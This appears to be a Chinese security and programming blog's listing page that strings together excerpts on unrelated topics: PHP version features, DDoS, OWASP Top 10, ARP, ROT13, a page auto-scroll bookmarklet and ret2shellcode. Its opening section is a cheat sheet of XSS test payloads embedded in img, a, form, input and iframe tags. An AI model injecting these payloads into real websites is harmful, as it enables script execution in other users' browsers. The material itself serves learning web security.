0%

常用代码

echo

1
2
3
<?php
echo "<script>alert(1)</script>";
?>

img 标签

1
2
3
4
5
6
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" onerror=eval("alert('xss')")>
<img src=x onmouseover=alert('xss')>

css

1
<img STYLE="background-image:url(javascript:alert('XSS'))">

href

1
2
3
4
5
6
7
8
9
10
11
12
13
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

form 标签

1
2
3
4
5
6
7
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss')>

input 标签

1
2
3
4
5
6
7
8
标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>

iframe 标签

1
2
3
4
5
6
7
8
9
10
11
12
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

从 PHP 5.5.x 移植到 PHP 5.6.x

使用表达式定义常量
使用 … 运算符定义变长参数函数
使用 … 运算符进行参数展开
use function 以及 use const
使用 hash_equals () 比较字符串避免时序攻击

从 PHP 5.6.x 移植到 PHP 7.0.x

标量类型声明
返回值类型声明
null 合并运算符
太空船操作符(组合比较符)
通过 define () 定义常量数组
Closure::call()
分组 use 声明
生成器可以返回表达式
整数除法函数 intdiv ()

从 PHP 7.0.x 移植到 PHP 7.1.x

可为空(Nullable)类型
Void 函数
Symmetric array destructuring
类常量可见性
iterable 伪类
多异常捕获处理
list () 现在支持键名

从 PHP 7.1.x 移植到 PHP 7.2.x

新的对象类型
允许重写抽象方法 (Abstract method)
扩展了参数类型
允许分组命名空间的尾部逗号

DDOS 攻击

DDOS 攻击(分布式拒绝服务攻击),攻击者利用傀儡机对目标网址在较短时间发起大量请求,消耗目标网站的服务器资源,无法正常进行服务。

DDOS 特点

攻击网络层,传输层,应用层
利用肉鸡(傀儡机)
针对 IP 的攻击,流量攻击

CC 攻击

CC 攻击是 DDOS 是一种,攻击需要大量数据操作的页面(如搜索,留言等)

CC 攻击特点

应用层攻击
攻击目标主要是网页
持续时间长
没有真实源 IP
没有特别大的异常流量

0x01 栈溢出漏洞原理
0x02 堆溢出漏洞原理
0x03 整数溢出漏洞原理
基于栈的整数溢出
基于堆的整数溢出
0x04 格式化字符串漏洞原理
0x05 双重释放漏洞原理
0x06 释放后重引用漏洞原理
0x07 数组越界访问漏洞
0x08 类型混淆漏洞原理
0x09 竞争条件漏洞原理

漏洞危险性排名

常见的 Web 漏洞有十个,称为 OWASP TOP 10
(注:2021 年排名已经更改,获取更详细的排名请跳转 https://owasp.org/Top10/)
TOP1 - 注入
TOP2 - 失效的身份认证和会话管理(破损认证)
TOP3-XSS (跨站脚本攻击)
TOP4 - 不安全的对象直接引用
TOP5 - 跨站请求伪造(CSRF)
TOP6 - 安全配置错误
TOP7 - 限制 URL 访问失败(缺少功能级访问控制)
TOP8 - 未验证的重定向和转发
TOP9 - 应用已知漏洞的组件
TOP10 - 敏感信息暴露

详细介绍

TOP1 - 注入:注入攻击漏洞,例如 SQL,OS 以及 LDAP 注入。这些攻击发生在当不可信的数据作为命令或者查询语句的一部分,被发送给解释器的时候。攻击者发送的恶意数据可以欺骗解释器,以执行计划外的命令或者在未被恰当授权时访问数据。

TOP2 - 失效的身份认证和会话管理:与身份认证和会话管理相关的应用程序功能往往得不到正确的实现,这就导致了攻击者破坏密码、密匙、会话令牌或攻击其他的漏洞去冒充其他用户的身份。

TOP3 - 跨站脚本:当应用程序收到含有不可信的数据,在没有进行适当的验证和转义的情况下,就将它发送给一个网页浏览器,这就会产生跨站脚本攻击(简称 XSS)。XSS 允许攻击者在受害者的浏览器上执行脚本,从而劫持用户会话、危害网站、或者将用户转向至恶意网站。

TOP4 - 不安全的直接对象引用:当开发人员暴露一个对内部实现对象的引用时,例如,一个文件、目录或者数据库密匙,就会产生一个不安全的直接对象引用。在没有访问控制检测或其他保护时,攻击者会操控这些引用去访问未授权数据。

TOP5 - 跨站请求伪造:一个跨站请求伪造攻击迫使登录用户的浏览器将伪造的 HTTP 请求,包括该用户的会话 cookie 和其他认证信息,发送到一个存在漏洞的 web 应用程序。这就允许了攻击者迫使用户浏览器向存在漏洞的应用程序发送请求,而这些请求会被应用程序认为是用户的合法请求。

TOP6 - 安全配置错误:好的安全需要对应用程序、框架、应用程序服务器、web 服务器、数据库服务器和平台定义和执行安全配置。由于许多设置的默认值并不是安全的,因此,必须定义、实施和维护这些设置。这包含了对所有的软件保持及时地更新,包括所有应用程序的库文件。

TOP7 - 功能级访问控制缺失:大多数 Web 应用程序在功能在 UI 中可见以前,验证功能级别的访问权限。但是,应用程序需要在每个功能被访问时在服务器端执行相同的访问控制检查。如果请求没有被验证,攻击者能够伪造请求以在未经适当授权时访问功能。

TOP8 - 未验证的重定向和转发:Web 应用程序经常将用户重定向和转发到其他网页和网站,并且利用不可信的数据去判定目的页面。如果没有得到适当验证,攻击者可以重定向受害用户到钓鱼软件或恶意网站,或者使用转发去访问未授权的页面。

TOP9 - 使用含有已知漏洞的组件:组件,比如:库文件、框架和其它软件模块,几乎总是以全部的权限运行。如果一个带有漏洞的组件被利用,这种攻击可以造成更为严重的数据丢失或服务器接管。应用程序使用带有已知漏洞的组件会破坏应用程序防御系统,并使一系列可能的攻击和影响成为可能。

TOP10 - 敏感信息泄漏:许多 Web 应用程序没有正确保护敏感数据,如信用卡,税务 ID 和身份验证凭据。攻击者可能会窃取或篡改这些弱保护的数据以进行信用卡诈骗、身份窃取,或其他犯罪。敏感数据值需额外的保护,比如在存放或在传输过程中的加密,以及在与浏览器交换时进行特殊的预防措施。

前言

由于本人日常爱好练吉他,频繁在网页中查找吉他谱,苦于一边弹琴一边翻页,遂想可否通过 JavaScript 脚本添加到网页收藏夹中,实现网页自动滚动,解放右手,芜湖~

设计

此段脚本的功能为自动滚动网页,监听键盘的 “+”、 “-”、 “Enter”、 “Escape”, 实现加速,减速,开始,暂停。

浏览器收藏夹可以运行 JavaScript 代码是我们能一键启动的重要原因。

主要函数如下

1
2
3
4
5
6
7
window.scroll(x-coord,y-coord ) //实现翻页

window.scroll(0, ++currentTop) // 其中currentTop不断增大实现一次滚动

setInterval(code,millisec[,"lang"]) //使代码不断运行,不断滚动,调整millisec以调整滚动速度

window.addEventListener() //监听键盘事件,实现加速减速开始暂停

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
let currentTop = document.documentElement.scrollTop; //设置当前页面的页面顶端
let speed = 200; //速度
var time = 0;

function AutoScroll() {
window.scroll(0, ++currentTop);
}

//在滚动鼠标后重新赋值滚动后页面的顶端,以防需要使用鼠标调整位置的情况
window.onscroll = function () {
currentTop = document.documentElement.scrollTop;
};

window.addEventListener(
"keydown",
function (event) {
if (event.defaultPrevented) {
return; // Should do nothing if the default action has been cancelled
}

var handled = false;
if (event.key !== undefined) {
// Handle the event with KeyboardEvent.key and set handled true.
switch (event.key) {
case "Enter":
clearInterval(time);
time = setInterval(AutoScroll, speed);
console.log("start");
break;
case "Escape":
clearInterval(time);
console.log("stop");

break;
case "+":
speed /= 2;
clearInterval(time);
time = setInterval(AutoScroll, speed);
console.log("speed:" + speed);
break;
case "-":
speed *= 2;
clearInterval(time);
time = setInterval(AutoScroll, speed);
console.log("speed:" + speed);

break;
}
handled = true;
} else if (event.keyCode !== undefined) {
// Handle the event with KeyboardEvent.keyCode and set handled true.
switch (event.key) {
case 108:
setInterval(AutoScroll, speed);
break;
case 27:
clearInterval(time);
break;
case 107:
if (speed > 0) {
speed /= 2;
clearInterval(time);
time = setInterval(AutoScroll, speed);
console.log(speed);
}
break;
case 109:
{
speed *= 2;
clearInterval(time);
time = setInterval(AutoScroll, speed);
console.log(speed);
}
break;
}
handled = true;
}

if (handled) {
// Suppress "double action" if event handled
event.preventDefault();
}
},
true
);

结语

最后随便找个网页添加到收藏夹,编辑这个收藏夹网页,更改 URL 即可以实现一键解放右手。

ARP协议与ARP欺骗

定义

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。

过程

主机A的IP地址为192.168.1.1,MAC地址为0A-11-22-33-44-01;
主机B的IP地址为192.168.1.2,MAC地址为0A-11-22-33-44-02;
当主机A要与主机B通信时,地址解析协议可以将主机B的IP地址(192.168.1.2)解析成主机B的MAC地址,以下为工作流程:
第1步:根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。
第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。

密码描述

套用 ROT13 到一段文字上仅仅只需要检查字元字母顺序并取代它在 13 位之后的对应字母,有需要超过时则重新绕回 26 英文字母开头即可。A 换成 N、B 换成 O、依此类推到 M 换成 Z,然后序列反转:N 换成 A、O 换成 B、最后 Z 换成 M。只有这些出现在英文字母里头的字元受影响;数字、符号、空白字元以及所有其他字元都不变。因为只有在英文字母表里头只有 26 个,并且 26=2×13,ROT13 函数是它自己的逆反:

对任何字元 x:ROT13(ROT13(x))=ROT26(x)=x。
换句话说,两个连续的 ROT13 应用函式会回复原始文字(在数学上,这有时称之为对合(involution);在密码学上,这叫做对等加密(reciprocalcipher))。

python 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def rot13(i):
cipher = ''
if i.isupper():
if 90 >= ord(i) + 13:
cipher += chr((ord(i) + 13 - 65) % 26 + 65)
else:
cipher += chr((ord(i) - 13 - 65) % 26 + 65)
elif i.islower():
if 122 >= ord(i) + 13:
cipher += chr((ord(i) + 13 - 97) % 26 + 97)
else:
cipher += chr((ord(i) - 13 - 97) % 26 + 97)
else:
cipher += i
return cipher

创建步骤

CreateThread 将在主线程的基础上创建一个新线程,大致做如下步骤:
1.在内核对象中分配一个线程标识/句柄,可供管理,由CreateThread返回
2.把线程退出码置为STILL_ACTIVE,把线程挂起计数置1
3.分配context结构
4.分配两页的物理存储以准备栈,保护页设置为PAGE_READWRITE,第2页设为PAGE_GUARD
5.lpStartAddr和lpvThread值被放在栈顶,使它们成为传送给StartOfThread的参数
6.把context结构的栈指针指向栈顶(第5步)指令指针指向startOfThread函数

阅读全文 »

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

阅读全文 »